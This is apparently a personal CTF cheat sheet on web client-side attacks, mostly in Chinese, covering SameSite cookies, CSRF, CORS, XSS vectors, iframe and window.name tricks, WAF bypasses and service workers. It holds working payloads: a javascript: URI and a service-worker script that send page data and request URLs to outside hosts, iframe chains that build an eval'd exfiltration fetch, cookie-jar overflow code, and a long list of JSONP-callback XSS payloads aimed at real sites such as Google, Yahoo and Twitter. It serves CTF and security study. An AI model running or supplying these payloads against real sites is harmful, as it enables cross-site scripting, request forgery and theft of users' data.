TOC

Spec & source code

basic knowledge

  • same-site wiki
  • RFC-6265 Cookies: HTTP State Management Mechanism
  • [Day24] Same-site cookie,CSRF 的救星?
  • [Day25] 從 same-site 網站打進你家
  • cookie SameSite attribute
    • None: 無限制
    • Lax(預設): top-level navigation 發送例如 href 跳轉, form GET
    • Strict: same-site 才發送
    • 無 SameSite 的預設 lax(明確指定 SameSite=Lax 不適用) 有兩分鐘內可 top-level, cross-site POST requests,

    For any flows involving POST requests, you should test with and without a long delay. This is because both Firefox and Chrome implement a two-minute threshold that permits newly created cookies without the SameSite attribute to be sent on top-level, cross-site POST requests (a common login flow). ref

  • prefix
    • __Secure- prefix: Cookies with names starting with __Secure- (dash is part of the prefix) must be set with the secure flag from a secure page (HTTPS).
    • __Host- prefix: Cookies with names starting with __Host- must be set with the secure flag, must be from a secure page (HTTPS), must not have a domain specified (and therefore, are not sent to subdomains), and the path must be /.
  • HttpOnly
    ​​​​for(let i=0;i<1000;++i) {
    ​​​​    document.cookie = 'cookie'+i+'=aaa';
    ​​​​}
    ​​​​// old cookie is delted!
    ​​​​document.cookie = 'victim=aaaaaa'
    

CSRF

  • Cross-Site Request Forgery Prevention Cheat Sheet

  • 防禦機制

    • token-based
      • Synchronizer Token Pattern
        • 透過 HTML、json response 把 CSRF token 傳給 client,client 透過 form hidden field、json、custom header 等方式提交給 server 驗證。 server 需要維護 CSRF token state。
      • Double Submit Cookie
        • 將 CSRF token 透過 cookie 傳給 client,client 讀取 cookie 值後放在 header 或是表單一併提交給 server,server 驗證 cookie 和另一個提交值相同。因為只有 same-origin 可以讀取 cookie,所以可以確保操作 same-origin。另外 server 不用負責維護 CSRF token state。
      • Signed Double Submit Cookie
        • 攻擊者可能透過 XSS 或是 cookie tossing 注入 cookie,因此透過簽章驗證 cookie 避免 client 端偽造
      • custom header
        • SOP 預設只有 same-origin 可以設置 custom header,所以驗證 custom header 是否存在即可 e.g. X-CSRF-HEADER: 1。 CORS policy 根據 server response ccess-Control-Allow-Headers 可能可以
    • non-token-based
      • Referer header check
      • SameSite Cookie
        • CVE-2022-21703 grafana CSRF
  • 攻擊

    • Cookie
      • Lax
      • Strict/Lax
        • control subsite
          • subdomain takeover
      • Cookie tossing from subdomain
        • if cookie no __Host- prefix
    • Header
      • CORS policy loose origin check e.g. *.target.com
        • attack from subdomain vlun.target.com
    • Token in HTML

mXSS

CORS

  • https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
  • simple request
    • one of methods: GET, HEAD, POST
    • no custom header except cors-safelisted-request-header
      • Accept, Accept-Language, Content-Language, Content-Type, Range
    • Content-Type in

      only limit type/subtype but parameter e.g. text/plain; application/json bypass validation if server use includes('application/json') to determine media type. see CVE-2022-21703 grafana CSRF

      • application/x-www-form-urlencoded
      • multipart/form-data
      • text/plain
    • etc.
  • preflight for non-simple request

some vector

黑魔法

Run JS via URI

  • Chromium 可以, Firfox 不行
  • 直接攻擊爬蟲
  • origin 還是基於前一個頁面,所以需要遵守 CORS
  • javascript:fetch('https://ntu.im/flag').then(r=>r.text()).then(d=>fetch('https://cjiso.ninja/'+btoa(d)))';

polyglot

window.opener

Text Fragments

#:~:text=[prefix-,]textStart[,textEnd][,-suffix]
          context  |-------match-----|  context
  • 需要 User Activation 才能觸發
  • 搭配 lazy load 之類的 oracle 達成 extract content in the page.
  • 只能匹配詞且要在同一個 tag 內
  • 2020 plaid CTF catalog
  • https://blog.zeddyu.info/2020/04/24/Plaid-CTF-2020-Web-2/#more
  • <meta> 跳轉
  • 從 session 儲存資訊來注入
  • Text Fragments + lazy load

window.name 利用

  • iframe 跨域
    • child frame
    ​​window.name = 'xxx'
    
    • parent frame
    ​​// 先讓 child parent 同源
    ​​// 載入不會刷新 frame
    ​​frame.src='parent origin...'
    ​​frame.contentWindow.name
    
  • 跳轉繞過長度限制
    evil.html
// victim first visit evil.html
name='qwer'
location='xss.html' //redirect to xss site

xss.html

eval(name) // xss

form

  • target 可設 iframe name
<iframe name=i1>
</iframe>
<form target=i1 action="https://c.cjsi.ooo">
</form>
  • 如果 server 端沒驗 content-type,可傳 json
    ​​<form enctype=text/plain method=POST> // text/plain 避免被 encode
    ​​  <input name='{"key":"' value='somevalue"}'> 
    ​​</from>
    
    • will post with unencoded payload {"key":"somevalue"}, content-type text/plain

iframe 利用

  • cheatsheet
    • 只有 None cookie 會傳入 <iframe>
    • iframe child parent 同域可以互相存取
    • iframe 可以用 form target 控制 (含get,post)
    • iframe.name 可跨域
    • iframe 剛創建時沿用 parent CSP
  • 控制登入、登出、時間延遲確保加載順序
    • on-event this
      • if id exist, this=iframe
      • else, this=window
<body>
    <!-- 敏感資料 -->
    <iframe id="qwe" src="https://typeselfsub.web.ctfcompetition.com/flag">
    </iframe>
    <!-- 登出框 -->
    <iframe id="zxc" name="zxc">
    </iframe>
    <!-- 登入框 -->
    <iframe id="asd" name="asd">
    </iframe>
    <form id="form1" target="zxc" method="get" action="https://typeselfsub.web.ctfcompetition.com/logout">

    </form>
    <form id="form2" target="asd" method="post" action="https://typeselfsub.web.ctfcompetition.com/login">
        <input name="username" value="jizz">
        <input name="password" value="jizz">
    </form>
    <script>
        setTimeout(()=>form1.submit(),2000);
        setTimeout(()=>form2.submit(),5000);
    </script>


    <img src="https://c.cjiso.ninja/delay/10">
</body>
  • 存取同域 frame
window.parent.frames[0]
top[0].document...
  • 串接繞過長度限制
// leak data length 17
<iframe src='/flag'></iframe>
<iframe src='/?xss=b=top[0].document'></iframe>
<iframe src='/?xss=c=top[1].b.body'></iframe>
<iframe src='/?xss=d=top[2].c.innerHTML></iframe>
<iframe src='/?xss=name=top[3].d></iframe>
// eval length 13
<iframe src='/?xss=a=`fetch("//`' id=start ></iframe>
<iframe src='/?xss=top[0].a%2b=`c`'></iframe>
<iframe src='/?xss=top[0].a%2b=`.`'></iframe>
<iframe src='/?xss=top[0].a%2b=`c`'></iframe>
<iframe src='/?xss=top[0].a%2b=`j`'></iframe>
<iframe src='/?xss=top[0].a%2b=`i`'></iframe>
<iframe src='/?xss=top[0].a%2b=`s`'></iframe>
<iframe src='/?xss=top[0].a%2b=`.`'></iframe>
<iframe src='/?xss=top[0].a%2b=`o`'></iframe>
<iframe src='/?xss=top[0].a%2b=`o`'></iframe>
<iframe src='/?xss=top[0].a%2b=`o`'></iframe>
<iframe src='/?xss=top[0].a%2b=`"`'></iframe>
<iframe src='/?xss=top[0].a%2b=`)`'></iframe>
<iframe src='/?xss=name=top[0].a'></iframe>
<script>
setTimeout(()=>{end.src='/?xss=eval(name)'},2000)
</script>

iframe srcdoc

<iframe srcdoc="
        <script src=/theme?cb=window.b.innerText=window.parent.document.body.innerText.slice></script>
        <script src=/theme?cb=window.img.src=window.total.innerText.slice></script>
">
</iframe>

WAF bypass

newbie

  • 大小寫
  • 雙寫
  • 拼接
  • top
  • 編碼

替代姿勢

  • url
  • html
    • / 代替空格 <iframe/src=javascript:alert(1)></iframe>
    • 寫 entity 再跳document.body.innerHTML=document.body.innerText
  • js
    • `代替 '
    • regex /a/.source
    • string template
    • \u2028, \u2029 代替 \neval('x=123\u2028alert(x)')

charset

解析姿勢

協議

  • 通用

    • scheme 可大小寫
    • // 解析成 http://
    • \\ 解析成當前域協議
    • javascript:
      • 效力等同 eval
      • 可放分隔符執行多行 \n\tjavascript:alert(2)%0aalert(1)
      • 分隔符: %0a,%0b,%0c,%0d,%20,%3b
      • 前頭會 trim
  • windows

    • \\ 解析成 file://

變數

  • 預設全域=window, e.g.window.name == name

跳轉

  • 任意
    • meta:<meta http-equiv="refresh" content="0;URL='http://url/'" />
    • location.href
    • location.host
    • location.hostname
    • location.replace
    • location.assign
  • 子路徑
    • location.pathname

on-event

參考

auto

  • onfocus
    • <input>,<select>,<form>,<textarea>
    • <keygen> less supported
    • 在 iframe 裡仍有效
    • 在 top 比 iframe 優先順序高,但不會造成 onblur
    • <input autofocus onfocus=alert(1)>
  • ontoggle
    • <details open ontoggle=alert(1)
  • onerror
    • <img src='aaaaaa' onerror=alert(1)>
  • onscroll
    • <body onscroll=alert>+n*<br>+<input autofocus>
  • onstart
    • firefox:<marquee onstart=alert(1)></marquee>
  • <iframe src=javascript:alert(1)

監聽

Request

  • Service worker

    • sw.js 要和註冊域同域,xss 搭配同域檔案才能達成
    • register a service worker

    if no scope, default scope is the same level of the script

    ​​​​if ('serviceWorker' in navigator) {
    ​​​​  window.addEventListener('load', function() {
    ​​​​    navigator.serviceWorker.register('/sw.js', {scope:'/'}).then(function(registration) {
    ​​​​      // Registration was successful
    ​​​​      console.log('ServiceWorker registration successful with scope: ', registration.scope);
    ​​​​    }, function(err) {
    ​​​​      // registration failed :(
    ​​​​      console.log('ServiceWorker registration failed: ', err);
    ​​​​    });
    ​​​​  });
    ​​​​}
    
    • listen (sw.js)
    ​​​​self.addEventListener('fetch', function(e) {
    ​​​​    e.respondWith(caches.match(e.request).then(function(response) {
    ​​​​    fetch('https://c.cjsio.ninja/swdata/' + e.request.url)
    ​​​​});
    
    
  • ref

    ​​​​
    

參數解析順序

  • Javascript
    • URLSearchParams.get: first
  • PHP
    • $_GET: Last

Payload

高級黑魔法

about:blank

Dom clobbering

Disable CSP

unclassified

  • 將 cookie path 設在特定端點,使得當前頁面和 api 呼叫的使用者不同
'id=jizzzzzz; path=/'
'id=bbbbbbbb; path=/api'
get('/api') 會帶 cookie `id=bbbbbbbb;id=jizzzzzz`, server 端通常解析第一個

Bypass CSP via js added by CDN

Service Worker

HTTPLeak

jsonp

list
#Google.com:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="https://googleads.g.doubleclick.net/pagead/conversion/1036918760/wcm?callback=alert(1337)"></script>
"><script src="https://www.googleadservices.com/pagead/conversion/1070110417/wcm?callback=alert(1337)"></script>
"><script src="https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=alert(1337)"></script>
"><script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>
#Blogger.com:
"><script src="https://www.blogger.com/feeds/5578653387562324002/posts/summary/4427562025302749269?callback=alert(1337)"></script>
#Yandex:
"><script src="https://translate.yandex.net/api/v1.5/tr.json/detect?callback=alert(1337)"></script>
"><script src="https://api-metrika.yandex.ru/management/v1/counter/1/operation/1?callback=alert"></script>
#VK.com:
"><script src="https://api.vk.com/method/wall.get?callback=alert(1337)"></script>
#Marketo.com
"><script src="http://app-sjint.marketo.com/index.php/form/getKnownLead?callback=alert()"></script>
"><script src="http://app-e.marketo.com/index.php/form/getKnownLead?callback=alert()"></script>
#AlibabaGroup:
"><script+src="https://detector.alicdn.com/2.7.3/index.php?callback=alert(1337)"></script>
"><script+src="https://suggest.taobao.com/sug?callback=alert(1337)"></script>
"><script+src="https://count.tbcdn.cn//counter3?callback=alert(1337)"></script>
"><script+src="https://bebezoo.1688.com/fragment/index.htm?callback=alert(1337)"></script>
"><script+src="https://wb.amap.com/channel.php?callback=alert(1337)"></script>
"><script+src="http://a.sm.cn/api/getgamehotboarddata?format=jsonp&page=1&_=1537365429621&callback=confirm(1);jsonp1"></script>
"><script+src="http://api.m.sm.cn/rest?method=tools.sider&callback=jsonp_1869510867%3balert(1)%2f%2f794"></script>
#Uber.com:
"><script+src="https://mkto.uber.com/index.php/form/getKnownLead?callback=alert(document.domain);"></script>
#Buzzfeed.com
"><script src="https://mango.buzzfeed.com/polls/service/editorial/post?poll_id=121996521&result_id=1&callback=alert(1)%2f%2f"></script>
#Yahoo JP (Thanks to @nizam0906)
"><script src=https://mempf.yahoo.co.jp/offer?position=h&callback=alert(1337)//></script>
"><script src=https://suggest-shop.yahooapis.jp/Shopping/Suggest/V1/suggester?callback=alert(1337)//&appid=dj0zaiZpPVkwMDJ1RHlqOEdwdCZzPWNvbnN1bWVyc2VjcmV0Jng9M2Y-></script>
#AOL/Yahoo
"><script+src="https://www.aol.com/amp-proxy/api/finance-instruments/14.1.MSTATS_NYSE_L/?callback=confirm(9)//jQuery1120033838593671435757_1537274810388&_=1537274810389"></script>
"><script+src="https://df-webservices.comet.aol.com/sigfig/ws?service=sigfig_portfolios&porttype=2&portmax=5&rf=http://www.dailyfinance.com&callback=jsonCallback24098%3balert(1)%2f%2f476&_=1537149044679"></script>
"><script+src="https://api.cmi.aol.com/content/alert/homepage-alert?site=usaol&callback=confirm(1);//jQuery20108887725116629929_1528071050373472232&_=1528071050374"></script>
"><script+src="https://api.cmi.aol.com/catalog/cms/help-central-usaol-navigation-utility?callback=confirm(1);//jQuery20108887725116629929_152807105037740504&_=1528071050378"></script>
">x<script+src="https://ads.yap.yahoo.com/nosdk/wj/v1/getAds.do?locale=en_us&agentVersion=205&adTrackingEnabled=true&adUnitCode=2e268534-d01b-4616-83cd-709bd90690e1&apiKey=P3VYQ352GKX74CFTRH7X&gdpr=false&euconsent=&publisherUrl=https%3A%2F%2Fwww.autoblog.com&cb=alert();"></script>
"><script src="https://search.yahoo.com/sugg/gossip/gossip-us-ura/?f=1&.crumb=wYtclSpdh3r&output=sd1&command=&pq=&l=1&bm=3&appid=exp-ats1.l7.search.vip.ir2.yahoo.com&t_stmp=1571806738592&nresults=10&bck=1he6d8leq7ddu%26b%3D3%26s%3Dcb&csrcpvid=8wNpljk4LjEYuM1FXaO1vgNfMTk1LgAAAAA5E2a9&vtestid=&mtestid=&spaceId=1197804867&callback=confirm"></script>
"><script+src="https://www.aol.com/amp-proxy/api/finance-instruments/14.1.MSTATS_NYSE_L/?callback=confirm(9)//jQuery1120033838593671435757_1537274810388&_=1537274810389"></script>
"><script+src="https://ui.comet.aol.com/?module=header%7Cleftnav%7Cfooter&channel=finance&portfolios=true&domain=portfolios&collapsed=1&callback=confirm(9)//jQuery21307555521146732187_1538371213486&_=1538371213487"></script>
"><script+src="http://portal.pf.aol.com/jsonmfus/?service=myportfolios,&porttype=1&portmax=100&callback=confirm(9)//jQuery1710788849030856973_1538354104695&_=1538354109053"></script>
#Twitter.com:
"><script+src="http://search.twitter.com/trends.json?callback=alert()"></script>
"><script+src="https://twitter.com/statuses/user_timeline/yakumo119info.json?callback=confirm()"></script>
"><script+src="https://twitter.com/status/user_timeline/kbeautysalon.json?count=1&callback=confirm()"></script>
#Others:
"><script+src="https://www.sharethis.com/get-publisher-info.php?callback=alert(1337)"></script>
"><script+src="https://m.addthis.com/live/red_lojson/100eng.json?callback=alert(1337)"></script>
"><script+src="https://passport.ngs.ru/ajax/check?callback=alert(1337)"></script>
"><script+src="https://ulogin.ru/token.php?callback=alert(1337)"></script>
"><script+src="https://www.meteoprog.ua/data/weather/informer/Poltava.js?callback=alert(1337)"></script>
"><script+src="https://api.userlike.com/api/chat/slot/proactive/?callback=alert(1337)"></script>
"><script+src="https://www.youku.com/index_cookielist/s/jsonp?callback=alert(1337)"></script>
"><script+src="https://api.mixpanel.com/track/?callback=alert(1337)"></script>
"><script+src="https://www.travelpayouts.com/widgets/50f53ce9ada1b54bcc000031.json?callback=alert(1337)"></script>
"><script+src="http://ads.pictela.net/a/proxy/shoplocal/alllistings/d5dadac1578db80a/citystatezip=10008;pd=40B5B0493316E5A3D4A389374BC5ED3ED8C7AB99817408B4EF64205A5B936BC45155806F9BF419E853D2FCD810781C;promotioncode=Petco-140928;sortby=23;listingimageflag=y;listingimagewidth=300;resultset=full;listingcount=100;;callback=alert(1);/json"></script>
"><script+src="https://adserver.adtechus.com/pubapi/3.0/9857.1/3792195/0/170/ADTECH;noperf=1;cmd=bid;bidfloor=0.12;callback=confirm(1);//window.proper_d31c1edc_57a8d6de_38"></script>
#Google API's
"><embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1337)}//' allowscriptaccess=always>
"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

sourceMappingURL

<script>
  //# sourceMappingURL=http://c.cjis.ooo/xssnote
</script>
Select a repo